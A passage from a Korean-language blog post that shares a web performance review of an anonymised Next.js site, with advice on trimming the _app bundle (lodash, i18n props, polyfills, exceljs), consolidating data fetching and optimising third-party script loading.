   아무래도 글자입력, 파일업로드 등의 라이브러리는 다른 라이브러리 대비 무겁기 마련입니다. 라우트, 컴포넌트, 권한 등 다양한 기준으로 공격적으로 코드 분할을 하시어 불필요한 코드가 로드 되는 것을 줄이시고, 핵심 기능만 로드 되도록 세심하게 주의를 기울이시길 바랍니다.

3. 데이터 처리 및 렌더링

   어드민의 경우 보여줘야할 데이터가 많기 때문에 대량의 데이터를 처리해야할 필요성도 많을 것입니다. 반드시 화면을 그리는데 필요한 데이터만 가져오시어 렌더링하는 HTMLElement 요소의 수를 줄이시고, 렌더링 성능을 향상 시켜주세요. API 응답 역시 이에 맞춰 필요한 것만 가져오셔야 하며, 입력이 잦으므로 디바운스 및 스로틀도 공격적으로 사용해보시기 바랍니다.

4. 캐싱

   어드민 사용자의 경우 주로 반복적으로 계속해서 서비스를 방문하게 됩니다. 따라서 애플리케이션 데이터, 정적 에셋(이미지 등) 주요 API 응답등을 캐싱하시어 가급적으로 네트워크 요청을 줄이시고, 사용자 경험을 향상 시켜주세요. 특히 캐싱은 사용자가 자주 방문하는 페이지에서 효과를 볼 수 있습니다.

결국 어드민 및 B2B 서비스에서의 성능 최적화는 사용자의 작업 효율성과 직결되므로, 언급된 전략들을 중심으로 지속적인 관심과 개선 노력을 기울이시는 것이 중요합니다.

> 이 질문은 연관이 크게 없다고 생각하실 수도 있어서 불편하시거나 어려운점 있으시면 편하게 말씀해 주셔도 됩니다. 저희 팀에서는 사내 공통 라이브러리를 만들 계획인데, 번들러, lodash 같은 유틸리티 함수 구성 등에서 단순한 코드 재사용을 넘어서 번들 크기, DX, 성능을 고려한 구조를 만들기 위해 어떤 점을 가장 우선적으로 고려하면 좋을지 혹시 알려주실 수 있는 부분이 있을까요?

사내 공통 라이브러리를 만드는 작업은 재밌어보입니다 저도 이전 회사와 현재 회사에서 사내 공통라이브러리 (디자인 시스템, 패키지 등)을 만드는 일을 했었는데요. 이 작업은 재밌긴 하지만, 목표가 명확하지 않으면 같이 개발하시는 분이 적극적으로 도와주시지 않거나, 의욕을 잃으실 수 도 있습니다. 그래서 다음과 같은 점을 고려해보시면 좋을 것 같습니다.

1. 마이크로 서비스 분리: 현재 제공되고 있는 웹 서비스를 탭 별로 별도의 주소와 서비스로 분리해보시는 건 어떨까요? 현재 구조는 모든 서비스가 하나의 저장소에 있다보니 버전 업, 배포, 테스트 등이 어려우실 것 같습니다. 또한 이전에 언급드렸던 결제 모듈, excel 모듈 등이 웹서비스 전체에 포함되어 있는 것도 아마 그런 이유가 아닐 까 싶습니다. 홈, 상품 목록, 로그인한 사용자가 보는 서비스 등으로 분리하시면 다음과 같은 이점이 있을 것 같습니다.
   - 서비스 안정성 향상: 서비스 장애를 전체 서비스로 확대하지 않고, 해당 서비스에만 국한시킬 수 있습니다.
   - 공통라이브러리 구축: 말씀 하신 공통 라이브러리를 적극적으로 사용하실 수 있고, 또 서비스 분리시에 만든 공통라이브러리를 사용해보실 수 있습니다.
   - 코드 품질 향상: 서비스가 분리되면 각 서비스에 대한 테스트를 독립적으로 진행할 수 있어, 코드 품질을 높일 수 있습니다.
   - 배포 및 유지보수 용이: 각 서비스가 독립적으로 배포되므로, 특정 서비스에 대한 업데이트나 버그 수정을 더 쉽게 수행할 수 있습니다.
   - 신규 프로젝트 시작 용이: 새로운 서비스나 기능을 추가할 때, 기존 서비스와의 의존성을 최소화하여 더 빠르게 개발할 수 있습니다.

   다만 새로운 서버를 운영하는 것과 동일하기 때문에, 서버 운영 비용이 증가할 수 있습니다. 또한 서비스가 분리되면 각 서비스 간의 통신 및 데이터 공유를 위한 추가적인 작업이 필요할 수 있습니다. 따라서 서비스 분리의 장단점을 잘 고려하셔야 할 것 같습니다.

2. 모노레포 구조 및 패키지 빌드와 배포: 공통 라이브러리를 효과적으로 개발 하시기 위해서는 선행되어야 하는 것이 모노레포 구조 설계와 패키지 빌드 입니다. 생각보다 이 두작업 하는게 손이 많이 가서요. 미리 한번 효과적인 구조가 무엇일지 고민해보시고 작업하시면 좋을 것 같습니다.
3. 브라우저 지원 범위: 제공하시는 서비스 및 공통라이브러리가 효과적으로 관리되기 위해서는 브라우저 지원 범위가 명확하고 통일되어 있어야 합니다. 그래야 불필요한 폴리필/트랜스파일을 줄일 수 있습니다. https://github.com/NaverPayDev/browserslist-config 와 같은 형태로 지원범위를 하나의 browserslist로 관리하시면 좋을 것 같습니다.

사내 공통 라이브러리 구축은 단순한 코드 재사용을 넘어 번들 크기, 개발자 경험(DX), 그리고 애플리케이션 성능 전반에 큰 영향을 미치는 중요한 과제입니다. 제시된 고려 사항들을 바탕으로 명확한 목표를 설정하고 체계적으로 접근하신다면, 기술 자산으로서 가치 있는 결과물을 만드실 수 있을 것입니다.

### 기타 수정되거나 더 보완되었으면 하는 내용

> 모두 적용을 하면 좋겠지만, 어떤 항목부터 먼저 적용해야 효과적인지 우선순위가 있으면 좀 더 좋을 것 같습니다

가장 손쉽게 하면서도 큰 효과를 볼 수 있는 것은 다음과 같습니다.

- `lodash` 등 트리쉐이킹 되지 않는 라이브러리 제거 또는 변경
- `__app.tsx`의 불필요한 코드 내지는 이관
- 서드파티 라이브러리 삭제 또는 `async` `defer` 속성 추가
- CLS 를 일으키는 제목을 리액트에서 css 미디어 쿼리로 변경

위에 제시된 우선순위 항목들은 비교적 적은 노력으로도 체감 가능한 성능 향상을 가져올 수 있는 좋은 출발점입니다. 이들을 시작으로 점진적인 개선을 통해 웹사이트의 사용자 경험을 더욱 향상시켜 나가시기를 바랍니다.

---

> 다음은 실제 개발자 분에게 전달 드린 글 입니다. 사이트 주소와 이미지 등의 정보는 가려져 있습니다.

# https://example.com/ko 성능 분석

> **Disclaimer**
>
> 본 요약 내용은 제공된 `example.com` 웹사이트 성능 분석 보고서(2025년 5월 10일 18시 기준)를 바탕으로 주요 사항을 간추린 것입니다. 분석 시점 이후 웹사이트의 업데이트나 환경 변화에 따라 실제 상태와는 차이가 있을 수 있습니다. **또한, 본 분석은 실제 작성된 원본 소스 코드가 아닌, 브라우저에 배포되고 번들된 결과물을 기준으로 하였기에 코드의 내부 구조나 로직 추론에 있어 실제 구현과 다소 차이가 발생할 수 있음을 알려드립니다.**
>
> 제시된 성능 병목 지점 및 개선 방안은 일반적인 권장 사항이며, 실제 적용 시 효과는 웹사이트의 구체적인 구현 방식, 서버 환경, 트래픽 패턴 등 다양한 요인에 따라 달라질 수 있습니다. 본 요약은 정보 제공을 목적으로 하며, 제안된 내용을 적용함에 따른 최종적인 결정과 그 결과에 대한 책임은 웹사이트 관리 주체에게 있습니다.
>
> 보다 상세한 분석 내용, 방법론, 그리고 전체 컨텍스트는 원본 분석 보고서를 참고해주시기 바랍니다.

# 1. 요약

안녕하세요! `example.com` 웹사이트의 잠재력을 최대한 발휘하여 사용자분들께 더욱 쾌적한 경험을 제공해 드릴 수 있도록, 성능 분석 결과를 핵심 위주로 요약해 보았습니다.

`example.com` 웹사이트는 로딩 속도 및 사용자 경험 개선의 여지가 있으며, 특히 초기 자바스크립트 로딩과 리소스 처리 효율성, 레이아웃 안정성 측면에서 개선이 필요한 상태입니다.

주요 성능 병목 지점은 다음과 같습니다.

- **자바스크립트 과부하**: 초기 로딩에 불필요하게 많은 자바스크립트(`_app.js` 포함) 및 최적화되지 않은 서드파티 스크립트가 로딩을 지연시키고 있습니다.
- **주요 리소스 비효율**: 과도한 다국어 데이터 전송 및 최적화되지 않은 이미지/폰트 로딩으로 성능이 저하되고 있습니다.

다음과 같은 개선 방안을 우선적으로 제안합니다.

- **자바스크립트 최적화 및 로딩 개선**:
  - `_app.js` 최적화, 코드 분할, 불필요한 라이브러리 제거 및 서드파티 스크립트에 `defer/async` 적용.
- **주요 리소스 최적화**:
  - 다국어 데이터, 이미지, 폰트 로딩 방식을 최적화하고 관련 CLS(누적 레이아웃 이동)를 개선합니다.

이 권장 사항들을 적용하시면 웹사이트의 성능과 사용자 만족도를 크게 높일 수 있을 것으로 기대합니다. 자세한 내용은 보고서 본문을 참고해주세요.

# 2. 분석 개요

2025년 5월 10일 18시 기준 배포된 웹사이트를 분석해보았습니다.

![image.png](./images/web-performance-analysis-2/image.png)

![image.png](./images/web-performance-analysis-2/image1.png)

![image.png](./images/web-performance-analysis-2/image2.png)

분석에 사용한 도구는 다음과 같습니다.

- chrome dev tool
- webpagetest

# 3. 웹사이트 분석

## 3-1. 주요 프레임워크 및 라이브러리

- Next.js: `__app.js` `__buildManifest.js` `__ssgManifest.js` 등은 next.js 기반 프로젝트에서 볼 수 있는 자바스크립트 라이브러리 입니다. 추가로 `window.__NEXT_DATA__` 전역 변수의 존재를 확인했으며, 이는 next.js 의 page router 를 사용하고 있다는 증거 입니다.
- react: 다수의 자바스크립트에서 리액트를 사용하는 것으로 보이는 패턴이 확인 되었으며, `framework.js` 에서 확인한 리액트 버전은 17.0.2 입니다.
- emotion: 스타일을 위해 css-in-js 인 emotion 을 사용하고 있는 것으로 보입니다.
- Apollo: `GraphQL`과 연동하기 위한 Apollo Client 의 흔적을 엿볼 수 있었습니다.
- react-query: 데이터 페칭을 위해 react-query 를 사용하는 것 또한 볼 수 있었습니다.
- axios: `fetch` 라이브러리인 axios 를 사용하고 있습니다. 아마도 버전은 `0.25.0` 인 것으로 보입니다.
- i18next: 다국어 지원을 위해 i18next 를 사용하고 있습니다. nextjs 프로젝트와 사용하기 위해 `_nextI18Next` 를 사용하는 것 또한 확인했습니다.
- dayjs: 날짜 유틸로 `dayjs`를 사용하고 있습니다.
- uuid: 아이디 고유값을 만들기 위해 uuid 를 사용하고 있는 것으로 보입니다.
- lodash: 자바스크립트 범용 유틸 lodash 를 사용하고 있습니다.
- datadog sdk: datadog sdk 를 사용하는 것을 확인했으며, 버전은 5.35.1 입니다.
- zustand: 상태관리를 위해서 사용 중인 것으로 보입니다.

## 3-2. 빌드 환경

nextjs 의 버전을 정확히 추정할 수 있는 방법은 없지만, 내부 패턴을 미루어 보았을 때 12.x~14.x 버전을 사용하고 있는 page router 기반 SSR 프로젝트인 것으로 보입니다. 서버사이드 렌더링 특성상 내부 구조를 완벽하게 파악하는 것이 어렵지만, `__app.tsx`에 아래를 비롯한 다수의 Provider 로 감싸져 있을 것으로 보입니다.

- `@emotion/react` : `CacheProvider`
- `@apollo/client` : `ApolloProvider`
- `appWithTranslation` : `next-i18next` 의 HOC
- `I18nextProvider` : 상동
- `@tanstack/react-query` : `QueryClientProvider` , `Hydrate`

## 3-3. 배포 환경

```bash
nslookup example.com
Server:    0.0.0.0
Address:  10.100.3.167#53

Non-authoritative answer:
Name:  example.com
Address: 0.0.0.0
Name:  example.com
Address: 0.0.0.0
Name:  example.com
Address: 0.0.0.0
Name:  example.com
Address: 0.0.0.0

curl https://ipinfo.io/0.0.0.0/json

{
  "ip": "0.0.0.0",
  "hostname": "server-0.0.0.0.icn00.r.cloudfront.net",
  "city": "Seoul",
  "region": "Seoul",
  "country": "KR",
  "loc": "37.5660,126.9784",
  "org": "AS16509 Amazon.com, Inc.",
  "postal": "03141",
  "timezone": "Asia/Seoul",
  "readme": "https://ipinfo.io/missingauth"
}
```

- AWS 에서 운영 중이며, 인천 Amazon Cloud Front를 사용하고 있는 것으로 보입니다.

# 4. 제안

앞선 '웹사이트 분석' 섹션에서는 `example.com` 웹사이트의 현재 성능 상태와 주요 개선이 필요한 지점들을 다각도로 살펴보았습니다. 본 '제안' 장에서는 이러한 분석 결과를 토대로, 웹사이트의 전반적인 로딩 속도를 향상시키고 사용자 경험을 최적화하며, 나아가 핵심 웹 지표를 개선하는 데 실질적인 도움이 될 수 있는 구체적이고 실천 가능한 방안들을 항목별로 제시하고자 합니다.

각 제안은 식별된 문제점에 대한 구체적인 해결책과 그 기대 효과를 중심으로 기술하여, 실제 개선 작업에 대한 이해를 돕고 우선순위를 설정하는 데 참고가 될 수 있도록 구성했습니다.

## 4-1. 거대한 자바스크립트 리소스 파일

해당 웹서비스 분석 중에 가장 눈에 띄었던 것은 해당 웹서비스의 `/`를 불러오기 위해 필요한 자바스크립트 파일이었습니다. `/` 를 불러오기 위해 총 14,647kb 크기에 달하는 41개의 자바스크립트 파일을 불러오고 있었습니다. 물론 그 중에는 `kakao.min.js` `gtm.js` 등 써드 파티 라이브러리도 있었습니다만, 해당 웹서비스가 서빙하는 next.js 리소스의 크기도 만만치 않았습니다.

```javascript
;((self.__BUILD_MANIFEST = (function (
  t,
  s,
  e,
  a,
  c,
  i,
  n,
  o,
  u,
  d,
  p,
  m,
  l,
  k,
  f,
  y,
  r,
  b,
  h,
  g,
  j,
  v,
  w,
  S,
  _,
  x,
  M,
  C,
  D,
  I,
  T,
  A,
  E,
  U,
  B,
  F,
  q,
  z,
) {
  return {
    __rewrites: {
      beforeFiles: [],
      afterFiles: [],
      fallback: [],
    },
    '/': [
      e,
      a,
      d,
      c,
      p,
      l,
      h,
      n,
      'static/chunks/pages/index-6b09fcdd8e2f5445.js',
    ],
    // .. 다른 페이지 생략
  }
})(
  'static/chunks/15-a9a48f7944e0e298.js',
  'static/chunks/8631-592dbd6f83032fc0.js',
  'static/chunks/fec483df-db3f7b2046a0a64a.js',
  'static/chunks/3763-ecbc1ef0a619ccdc.js',
  'static/chunks/7978-897f3a152fd54de3.js',
  'static/chunks/966-6cef0f650c8a7441.js',
  'static/css/2c191b1d58af9610.css',
  'static/chunks/3053-ae68c57739ba1ff4.js',
  'static/chunks/3127-870b5d6feca82804.js',
  'static/chunks/1907-ad5c27c3b3b7d60b.js',
  'static/chunks/5011-6994a6f9b60dd1c1.js',
  'static/chunks/5912-301e1a380c683a48.js',
  'static/chunks/2451-9e32b55d273f58ab.js',
  'static/chunks/9819-61b2f434cbd511ac.js',
  'static/chunks/2992-759ed9bf2658b944.js',
  'static/chunks/9738-70e6b0d150c1fb76.js',
  'static/chunks/8412-36d0e0939bef9710.js',
  'static/chunks/5967-26ad41dd5b9edc06.js',
  'static/chunks/3055-58c5470e34b2f706.js',
  'static/chunks/8349-9faf5341f07dd35c.js',
  'static/chunks/7094-84c88e31a56721ad.js',
  'static/chunks/3096-eb0b475935c82a55.js',
  'static/chunks/6186-c06b470a95a9374e.js',
  'static/chunks/9099-7d6cb2e6ff4b5743.js',
  'static/chunks/2957-1ebc10f740dfdb59.js',
  'static/chunks/8888-8d8e077c448bea31.js',
  'static/chunks/2871-2587166ff722243e.js',
  'static/chunks/9152-098296c0be4fa4cb.js',
  'static/chunks/2272ea81-d98992a44535b5b7.js',
  'static/chunks/9965-2bf9c244cc59be40.js',
  'static/chunks/9433-769dc6182acbdb07.js',
  'static/chunks/3676-60038ecd98fea7cc.js',
  'static/chunks/5872-d6248ba3506507b6.js',
  'static/chunks/770-740564783223b60a.js',
  'static/chunks/1134-7590ca8c52014b90.js',
  'static/chunks/4045-93d1c0b9d354c3b9.js',
  'static/chunks/9534-625ccbc57a2af12a.js',
  'static/chunks/6404-ef83ba69c344044a.js',
)),
  self.__BUILD_MANIFEST_CB && self.__BUILD_MANIFEST_CB())
```

위 파일은 next.js 에서 제공하는 `__buildManifest.js` 파일입니다. 해당 자바스크립트 파일은 next.js 로 빌드된 웹사이트에 대한 정보를 나타내고 있습니니다. 보시면 `/` 를 불러오기 위해 총 9개의 자바스크립트 파일이 필요하다는 것을 알 수 있으며, 이외에 모든 사이트 최초 로딩에 필요한 `__app` `framework` 파일 까지 포함하면 대략 3메가 정도가 필요한 것으로 볼 수 있습니다. 평균적인 웹사이트가 약 22개의 자바스크립트 파일을 680kb 로 제공하는 것을 비춰보았을때, 이 웹사이트는 상당히 큰 편이라고 볼 수 있습니다.

[HTTP Archive: State of JavaScript](https://httparchive.org/reports/state-of-javascript?start=earliest&end=latest&view=list#bytesJs)

이 웹사이트가 겪는 대부분의 성능 문제는 이 큰 자바스크립트 파일에서 비롯되는 것으로 보입니다.

그 중에서도 단연 눈에 띄는 것은 `__app.js` 입니다. `_app.js`는 next.js 의 핵심 파일로, 웹사이트를 불러오기 위해 가장 먼저 항상 포함되는 자바스크립트 파일입니다. 이 파일이 크다는 것은 모든 페이지의 성능에 악영향을 미친다는 것을 의미합니다. 이 파일 크기가 크다는 것은, 그만큼 프로젝트의 공통영역에 많은 부담이 가고 있다는 것을 뜻합니다.

![image.png](./images/web-performance-analysis-2/image3.png)

실제로도 위 분석 결과를 살펴보면 2메가가 넘는 `__app` 의 다운로드와 파싱을 위해 대부분의 시간을 소비하고 있는 것을 볼 수 있습니다. (실제 minify 를 해제 하면 9메가까지 커집니다.) 따라서 이 파일에 실제로 필요한 내용만 들어가 있는지, 불필요한 리소스가 있는지 확인해본다면 성능 문제를 크게 해결할 수 있을 것으로 보입니다.

지금부터 이 `__app` 파일을 위한 몇가지 제언을 드리겠습니다.

### 4-1-1. `lodash` 등 트리쉐이킹 되지 않는 라이브러리 제거 또는 변경

lodash 는 트리쉐이킹이 되지 않는 대표적인 라이브러리로, 이 웹사이트에서 트리쉐이킹 되지 않는 `lodash` 의 흔적을 볼 수 있었습니다.

![image.png](./images/web-performance-analysis-2/image4.png)

위 스크린샷은 해당 웹사이트에서 찾은 `lodash` 라이브러리의 흔적과 실제로 사용하고 있는지 여부의 일부를 가져온 것입니다. `kt` 변수에 `lodash` 에서 제공하는 함수들이 추가되어있는 것을 확인했습니다. `lodash` 는 트리쉐이킹이 되지 않기 때문에, 이처럼 사용하지도 않는 유틸이 모두 `__app`에 추가되어 있는 것을 보실 수 있으며, 이는 번들 크기에 그대로 부담이 됩니다.

[npm: lodash-es](https://www.npmjs.com/package/lodash-es)

트리쉐이킹이 되는 `ESModule`형식으로 작성된 `lodash-es` 로 변경해보시는 것을 강력하게 추천해드립니다. 해당 라이브러리를 사용하면, 실제 사용하지 않는 유틸은 `__app.js` 번들에서 제거되어 번들 크기가 눈에 띄게 줄어드는 것을 확인하실 수 있을 것입니다.

이 외에도 `package.json` 에서 사용중인 라이브러리들을 bundlephobia 에서 한번 확인하시는 것을 추천해드립니다.

[Bundlephobia | Size of npm dependencies](https://bundlephobia.com/)

![image.png](./images/web-performance-analysis-2/image5.png)

정상적으로 트리쉐이킹이 가능한 라이브러리라면, 위 스샷의 [Bundlephobia: lodash-es](https://bundlephobia.com/package/lodash-es@4.17.21) 의 경우 처럼 `exports` 분석이 가능할 것입니다.

### 4-1-2. 다국어 리소스 사용에 따른 거대한 props

nextjs 는 `getInitialProps` 또는 `getServerSideProps` 와 같은 함수를 호출한다음, 해당 함수의 결과물을 클라이언트에 내려줌으로써 하이드레이션 과정을 거칩니다. 해당 페이지에서 제공되는 `props` 를 보고 싶다면, `window.__NEXT_DATA__`를 확인해보면 됩니다.

![image.png](./images/web-performance-analysis-2/image6.png)

`/` 의 경우, 다국어 제공을 위한 `next-i18next` 관련 props 가 제공되고 있는 것을 볼 수 있었습니다. 문제는 이 객체의 크기가 560kb 에 달할 정도로 매우 크다는 것입니다.

이 문제를 해결하기 위한 방법은 크게 두가지 정도로 볼 수 있습니다.

- `fallbackLng`에서 `en` 제거: 제가 방문한 사이트는 `/ko` 임에도 불구하고 `/en` 정보까지 포함되어 있는 이유는 아마도 불러오지 못한 정보를 위한 fallback 처리인 `fallbackLng` 에 `en` 이 추가 추가 되어있기 때문일 것으로 보입니다.

  ```javascript
  A.exports = {
    i18n: {
      defaultLocale: 'default',
      locales: ['default', 'en', 'ko', 'ja', 'zh-CN'],
      localeDetection: !1,
      fallbackLng: {
        ko: ['en'],
        en: ['ko'],
        ja: ['ko'],
        'zh-CN': ['ko'],
      },
      backend: {
        expirationTime: 18e5,
        loadPath: 'https://'.concat(
          'd3jg758w1vtpa6',
          '.cloudfront.net/v2/projects/26cf3ff8b06465adbd967ff8ed1e8d12/locales/{{lng}}/download?file_format=react_nested_json',
        ),
        reloadInterval: !1,
      },
      react: {
        transKeepBasicHtmlNodesFor: ['strong', 'br', 'b', 'i', 'u', 'li'],
        useSuspense: !1,
      },
    },
  }
  ```

  `fallbackLng` 은 누락된 언어를 기본값으로 나마 보여줄 수 있는 효과적인 옵션이지만, 반대로 생각해보면 안나올지도 모르는 text 에 대한 예외처리를 위해 언어 한벌을 추가로 다운로드 해야 하는 것과 다름이 없습니다. 그리고 전체크기가 약 200kb 에 달하는 `en` 을 다운로드 해야할지는 고민해봐야할 부분입니다.

- `namespace` 를 페이지별로 세분화: 다국어 정보를 하나씩 보면서 느낀 또한가지 문제점은, 현재 페이지에서 불필요한 언어정보도 모두 반환되고 있는 것 같다는 사실입니다. `next-i18next` 에서 제공하는 네임스페이스도 사용하지 않는 것 같다는 생각도 들었습니다.

  ![image.png](./images/web-performance-analysis-2/image7.png)

  네임스페이스를 사용하면 다국어 리소스를 여러 파일로 분리할 수 있는 핵심적인 기술로, 이처럼 다국어 파일이 거대해지는 것을 막는데 중요한 역할을 합니다.

  [Namespaces | i18next documentation](https://www.i18next.com/principles/namespaces)

  네임스페이스를 사용하시어 다음과 같이 나눠서 로딩하시는 것을 추천해드립니다.
  1. SSR 시에 사용자에게 무조건 보여지는 영역에 필요한 리소스
  2. 모달, 인터랙션등 사용자가 특정 액션을 취해야만 보여지는 리소스

  1번에 해당하는 리소스를 `getServerSideProps`에서 불러오시고, 2번에 해당하는 리소스는 `React.lazy` 나 `useEffect` 등을 통해 실제로 컴포넌트가 로딩되는 시점에 불러오게 해주세요. 그렇게 함으로써 초기에 다운로드 해야하는 리소스를 줄일 수 있고, 페이지로딩 속도를 보다 빠르게 할 수 있습니다.

### 4-1-3. 불필요한 폴리필 제거

현재 웹서비스가 타겟으로 하고 있는 브라우저가 어떻게 되시나요? 제가 서비스 제공 현황까지는 정확하게 알 수 없지만, 성능 입장에서만 말 씀드리면 웹서비스 지원 타겟은 높을 수록 좋습니다. 반대로 말하자면, 구형 브라우저를 지원하려고 애쓰지 않을 수록 성능은 향상되고 번들 크기는 감소합니다. 현재 개발자님의 웹사이트에서 발견한 폴리필은 다음과 같습니다.

![image.png](./images/web-performance-analysis-2/image8.png)

그리고 해당 폴리필들의 버전과 현황은 다음과 같습니다.

| **모듈 경로 (Module Path)**                 | **폴리필 대상 기능 (Polyfilled Feature)**                | **관련 ECMAScript 버전 (Approx.)**        |
| ------------------------------------------- | -------------------------------------------------------- | ----------------------------------------- |
| `core-js/modules/es.promise`                | `Promise` 객체                                           | ES2015                                    |
| `core-js/modules/es.promise.finally`        | `Promise.prototype.finally`                              | ES2018                                    |
| `core-js/modules/es.object.assign`          | `Object.assign()`                                        | ES2015                                    |
| `core-js/modules/es.object.keys`            | `Object.keys()`                                          | ES5.1                                     |
| `core-js/modules/es.object.values`          | `Object.values()`                                        | ES2017                                    |
| `core-js/modules/es.symbol`                 | `Symbol` 타입 및 관련 기능 (예: `Symbol.iterator`)       | ES2015                                    |
| `core-js/modules/es.symbol.async-iterator`  | `Symbol.asyncIterator`                                   | ES2018                                    |
| `core-js/modules/es.array.iterator`         | 배열 이터레이터 (예: `Array.prototype[Symbol.iterator]`) | ES2015                                    |
| `core-js/modules/es.array.includes`         | `Array.prototype.includes()`                             | ES2016                                    |
| `core-js/modules/es.array.find-index`       | `Array.prototype.findIndex()`                            | ES2015                                    |
| `core-js/modules/es.array.find`             | `Array.prototype.find()`                                 | ES2015                                    |
| `core-js/modules/es.string.from-code-point` | `String.fromCodePoint()`                                 | ES2015                                    |
| `core-js/modules/es.string.includes`        | `String.prototype.includes()`                            | ES2015                                    |
| `core-js/modules/es.number.is-nan`          | `Number.isNaN()`                                         | ES2015                                    |
| `regenerator-runtime/runtime`               | `async/await`, 제너레이터(Generators) 함수 지원          | ES2017 (async/await), ES2015 (Generators) |

제가 모든 폴리필을 일일이 다 확인한 것은 아닙니다만, 대부분의 폴리필이 2025년 현재 사용되는 모던 브라우저에서는 필요 없는 코드로 보입니다. 해당 폴리필이 삽입되는 코드를 삭제하신다면, 번들 크기를 줄이는데 많은 도움이 될 수 있습니다.

### 4-1-4. uuid 제거

서비스내 고유한 아이디 생성을 위해 uuid 라이브러리를 사용하시는 것으로 보입니다.

![image.png](./images/web-performance-analysis-2/image9.png)

그러나 해당 라이브러리는 10.3kb 정도로 제법 큰편에 속합니다.

[uuid v11.1.0 ❘ Bundlephobia](https://bundlephobia.com/package/uuid@11.1.0)

특별한 이유가 있으신게 아니라면, 이보다 훨씬 작은 `nanoid`로 안전하게 난수 id 를 생성하시는 것을 추천해드립니다.

[nanoid v5.1.5 ❘ Bundlephobia](https://bundlephobia.com/package/nanoid@5.1.5)

### 4-1-5. 불필요한 의존성이 `__app` 에 들어가지 않았나 확인

크롬 개발자도구에서는, `Coverage`라고 하는 메뉴가 있는데, 이 메뉴에서는 실제로 해당 페이지를 위해 사용한 코드가 무엇인지 구별하는 기능을 제공하고 있습니다.

![image.png](./images/web-performance-analysis-2/image10.png)

이 메뉴로 살펴본 결과, 2메가 가량의 `__app.js` 의 리소스중 78% (빨간색)는 실제 페이지 로딩에 필요하지 않다는 분석 결과가 나왔습니다. 물론 이 78%가 당장에 제거해도 된다는 것을 의미하지는 않습니다. 페이지 초기 로딩에는 필요하지 않지만, 사용자 인터랙션에 따라 필요할 수도 있고, 에러 처리에 필요한 코드일 수도 있습니다.

그러나 물론 이중에는 실제로 삭제 가능한 코드도 있을 것입니다. 다음 스크린샷을 한번 살펴보겠습니다.

![image.png](./images/web-performance-analysis-2/image11.png)

위 코드는 추정 컨데, Microsoft Office Open XML 형식, 특히 스프레드 시트 파일을 분석하기 위한 코드로 보입니다. 그 이유는 다음과 같습니다.

- nodejs 의 `Buffer`를 클라이언트에서 사용하기 위한 폴리필이 추가되어 있음
- 태그 이름이 OOXML 표준과 일치

아마도 개발자님의 사이트에서 엑셀이나 docx 파일을 파싱하기 위해서 존재하는 것으로 보입니다. 다만 중요한 것은 이 소스코드가 앞서 언급드린 대로 모든 웹페이지를 불러오는데 필요한 공통 리소스인 `__app.js` 에 포함되어 있다는 점입니다. 이러한 특정 페이지에 제공되기 위한 기능은 해당 페이지의 리소스에 포함되어있어야 합니다. 특히 이런 거대한 라이브러리가 `__app`에 포함되어 있다면 초기 페이지 로딩에 불필요한 부담을 야기 하게 됩니다. 제 추측 컨데 저 라이브러리는 `exceljs` 일 것 같습니다.

[exceljs v4.4.0 ❘ Bundlephobia](https://bundlephobia.com/package/exceljs@4.4.0)

`exceljs`는 순수크기만 1mb 에 달할정도로 거대한 라이브러리입니다. 이 패키지가 꼭 클라이언트 코드에 필요한지 한번더 확인하시고, 가급적 서버에서만 이 라이브러리가 포함되도록 조정해주세요. 그리고 불가피하게 클라이언트에서도 필요하다면 `__app.js`가 아닌 다른 페이지의 리소스에 포함되도록 수정 해주시면 좋습니다.

이 외에도 `__app.tsx` 의 `import` 에 있는 패키지 명단을 확인하시어 불필요한 패키지는 꼭 필요한 곳으로 이동시켜주세요. 루트에 있어야 하는 이유가 의심스러운 다른 패키지 혹은 컴포넌트들은 다음과 같습니다.

- `react-tooltip`
- 비밀번호 유효성 검증 컴포넌트
- 채용공고지원, 필터링, 업로드, 본인인증 관련 컴포넌트
- 파일 업로드

다시한번 명심해야할 것은, ‘해당 기능이 필요한지’ 가 아니라, ‘해당 기능이 반드시 루트에 있어야 하는지’ 입니다. `__app.js` 는 꼭 공통적으로 필요한 기능만 담겨있어야 합니다.

### 4-1-6. 데이터 페칭 라이브러리 일원화

현재 데이터 패칭을 위해 `GraphQL` 과 `react-query` + `axios` 를 사용하고 계신 것으로 보입니다. 데이터 페칭을 위해 두가지 완전히 다른 기법을 사용하는 것은 굉장히 보기드문 사례입니다. 두가지 다른 데이터 페칭 기법을 사용하는 것은 그만큼 두 기능을 제공하기 위한 초기 코드가 커진다는 것을 의미합니다. `GraphQL` 을 걷어내시고 `react-query` 만 사용하시는 것은 어떨까요? 물론 이는 적절한 백엔드 지원이 있어야만 가능하겠습니다만, `GraphQL`을 걷어낸다면 `Apollo` 관련 라이브러리와 프로바이더를 제거할 수 있어 그만큼 번들 크기가 줄어들 것입니다.

제가 모든 유즈케이스를 다 살펴보지 않아서 말씀드리기 조심스럽습니다만, 만약 GraphQL 로 사용하는 기능이 크게 복잡하지 않다면 `ApolloClient` 보다 훨씬 가벼운 `graphql-request` 를 추천해드립니다.

[npm: graphql-request](https://www.npmjs.com/package/graphql-request)

---

위와 같은 내용을 반영하신다면 `__app.js` 의 크기를 크게 줄일 수 있고, 모든 페이지를 불러오는데 있어 크게 성능을 향상시킬 수 있을 것으로 보입니다.

다음으로는 그외에 성능개선에 도움이 되는 내용입니다.

## 4-2. 써드파티 라이브러리 로딩 최적화

`<body />` 위에 `<head />` 내 next.js 가 삽입한 자바스크립트 외 개발자님께서 임의로 삽입한 듯한 코드를 분석해보았습니다.

```html
<script src="https://developers.kakao.com/sdk/js/kakao.min.js"></script>
<script
  type="text/javascript"
  src="https://code.jquery.com/jquery-1.12.4.min.js"
></script>
<script
  type="text/javascript"
  src="https://cdn.iamport.kr/js/iamport.payment-1.2.0.js"
></script>
<script
  async=""
  src="https://www.googletagmanager.com/gtag/js?id=G-YNKW461YK0"
></script>
<script>
  window.dataLayer = window.dataLayer || []
  function gtag() {
    dataLayer.push(arguments)
  }
  gtag('js', new Date())
  gtag('config', 'G-YNKW461YK0', {
    cookie_flags: 'SameSite=Lax',
    debug_mode: false,
  })
</script>
<script>
  !(function (e, t, n, s, u, a) {
    e.twq ||
      ((s = e.twq =
        function () {
          s.exe ? s.exe.apply(s, arguments) : s.queue.push(arguments)
        }),
      (s.version = '1.1'),
      (s.queue = []),
      (u = t.createElement(n)),
      (u.async = !0),
      (u.src = '//static.ads-twitter.com/uwt.js'),
      (a = t.getElementsByTagName(n)[0]),
      a.parentNode.insertBefore(u, a))
  })(window, document, 'script')
  // Insert Twitter Pixel ID and Standard Event data below
  twq('init', 'o8306')
  twq('track', 'PageView')
</script>
